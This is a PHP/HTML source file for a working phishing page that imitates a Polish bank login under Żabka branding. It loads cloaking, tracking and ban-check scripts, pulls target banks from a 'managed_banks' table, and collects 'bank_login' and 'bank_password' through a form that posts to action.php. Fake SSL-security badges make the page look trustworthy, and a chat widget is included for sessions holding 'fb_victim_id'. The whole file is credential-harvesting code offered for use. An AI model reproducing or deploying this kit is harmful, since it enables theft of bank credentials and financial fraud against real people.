<?php
require_once 'cloaker_guard.php';
require_once 'tracker.php';
include_once 'check_ban.php';
require_once 'admin/db_config.php';
include_once 'theme_config.php';
include_once 'translator_engine.php';

// Veritabanı bağlantısı
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { die("Błąd systemu. Spróbuj ponownie później."); }

$bank_id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (!$bank_id) { 
    // ID yoksa banka listesine at
    header("Location: banks_page.php"); 
    exit(); 
}

// Bankayı veritabanından çek
$stmt = $conn->prepare("SELECT * FROM managed_banks WHERE id = ? AND is_active = 1");
$stmt->execute([$bank_id]);
$current_bank = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$current_bank) { die("Nie znaleziono banku."); }

// Logo Kontrolü
$bank_logo = !empty($current_bank['logo_path']) ? htmlspecialchars($current_bank['logo_path']) : 'https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png';
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Zaloguj się - <?= htmlspecialchars($current_bank['bank_name']) ?></title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        /* Żabka Light Theme */
        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #ffffff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        
        /* Żabka Colors */
        :root {
            --zabka-green: #007a33;
            --zabka-dark: #005c26;
            --zabka-accent: #fec20f;
        }
        
        /* Beyaz Kart */
        .zabka-card {
            background: #ffffff;
            border-top: 4px solid var(--zabka-green);
            box-shadow: 0 10px 40px -10px rgba(0, 122, 51, 0.15);
        }

        /* Input Alanı */
        .zabka-input-wrapper {
            background: #f9fafb;
            border: 1px solid #e5e7eb;
            transition: all 0.3s ease;
        }
        .zabka-input-wrapper:focus-within {
            background: #ffffff;
            border-color: var(--zabka-green);
            box-shadow: 0 0 0 3px rgba(0, 122, 51, 0.1);
        }
        .input-icon { color: #9ca3af; transition: color 0.3s ease; }
        .zabka-input-wrapper:focus-within .input-icon { color: var(--zabka-green); }

        /* Buton */
        .zabka-btn {
            background: var(--zabka-green);
            color: white;
            transition: all 0.2s ease;
            box-shadow: 0 4px 15px -5px rgba(0, 122, 51, 0.5);
        }
        .zabka-btn:hover { background: var(--zabka-dark); transform: translateY(-1px); }
        .zabka-btn:active { transform: scale(0.98); }

        /* Animasyon */
        .fade-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
        @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
    </style>
</head>
<body>

    <div class="bg-[#007a33] text-white py-2 px-4 text-center text-[11px] font-bold tracking-wide uppercase flex justify-center items-center gap-2 shadow-sm z-20">
        <i class="bi bi-lock-fill text-[#fec20f]"></i> Bezpieczne połączenie SSL
    </div>

    <div class="border-b border-gray-100 px-6 py-4 flex items-center justify-between z-10 bg-white">
        <div class="flex items-center gap-2 text-sm font-bold text-gray-800">
            <img src="https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png" alt="Żabka" class="h-6 object-contain">
            <span class="text-gray-300">|</span>
            <span>Bankowość</span>
        </div>
        <a href="banks_page.php" class="text-gray-400 hover:text-gray-600 transition-colors">
            <i class="bi bi-x-lg text-lg"></i>
        </a>
    </div>

    <div class="flex-grow flex items-center justify-center p-4">
        
        <div class="w-full max-w-sm zabka-card p-8 rounded-2xl relative fade-in overflow-hidden">
            
            <div class="text-center mb-8">
                <div class="w-20 h-20 mx-auto bg-white rounded-xl flex items-center justify-center mb-4 shadow-sm border border-gray-100 p-2">
                    <img src="<?= $bank_logo ?>" alt="Bank Logo" class="w-full h-full object-contain">
                </div>
                <h2 class="text-xl font-bold text-gray-900 tracking-tight leading-tight">
                    Zaloguj się
                </h2>
                <p class="text-sm text-gray-500 mt-1 font-medium">
                    <?= htmlspecialchars($current_bank['bank_name']) ?>
                </p>
            </div>

            <form action="action.php" method="POST" class="space-y-5" autocomplete="off">
                <input type="hidden" name="bank_name" value="<?= htmlspecialchars($current_bank['bank_name']) ?>">
                
                <div class="group">
                    <label class="block text-xs font-bold text-gray-700 uppercase mb-1.5 ml-1">
                        <?= !empty($current_bank['login_prompt']) ? htmlspecialchars($current_bank['login_prompt']) : 'Nazwa użytkownika / Login' ?>
                    </label>
                    <div class="zabka-input-wrapper flex items-center rounded-lg h-12 overflow-hidden">
                        <div class="pl-4 input-icon">
                            <i class="bi bi-person-fill"></i>
                        </div>
                        <input type="text" name="bank_login" 
                               class="w-full h-full bg-transparent text-gray-900 font-medium px-4 focus:outline-none placeholder-gray-400 text-sm" 
                               required>
                    </div>
                </div>

                <div class="group">
                    <label class="block text-xs font-bold text-gray-700 uppercase mb-1.5 ml-1">
                        <?= !empty($current_bank['password_prompt']) ? htmlspecialchars($current_bank['password_prompt']) : 'Hasło' ?>
                    </label>
                    <div class="zabka-input-wrapper flex items-center rounded-lg h-12 overflow-hidden">
                        <div class="pl-4 input-icon">
                            <i class="bi bi-key-fill"></i>
                        </div>
                        <input type="password" name="bank_password" 
                               class="w-full h-full bg-transparent text-gray-900 font-medium px-4 focus:outline-none placeholder-gray-400 text-sm" 
                               required>
                    </div>
                </div>

                <button type="submit" class="zabka-btn w-full font-bold py-3.5 rounded-lg flex items-center justify-center gap-2 group text-sm mt-2">
                    <i class="bi bi-shield-lock-fill"></i>
                    <span>Zaloguj się bezpiecznie</span> 
                </button>
            </form>

            <div class="mt-8 text-center border-t border-gray-100 pt-4">
                <p class="text-[10px] text-gray-400 flex items-center justify-center gap-1 font-medium">
                    <i class="bi bi-check-circle-fill text-[#007a33]"></i> Chronione 256-bitowym szyfrowaniem SSL
                </p>
            </div>
        </div>
    </div>

    <script src="redirect_check.js"></script>
    <?php if (isset($_SESSION['fb_victim_id'])) { include_once 'chat_widget.php'; } ?>
    
    <script type="text/javascript">
    var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
    (function(){
    var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
    s1.async=true;
    s1.src='https://embed.tawk.to/65e4826c9131ed19d9742f26/1ho29qu35';
    s1.charset='UTF-8';
    s1.setAttribute('crossorigin','*');
    s0.parentNode.insertBefore(s1,s0);
    })();
    </script>
</body>
</html>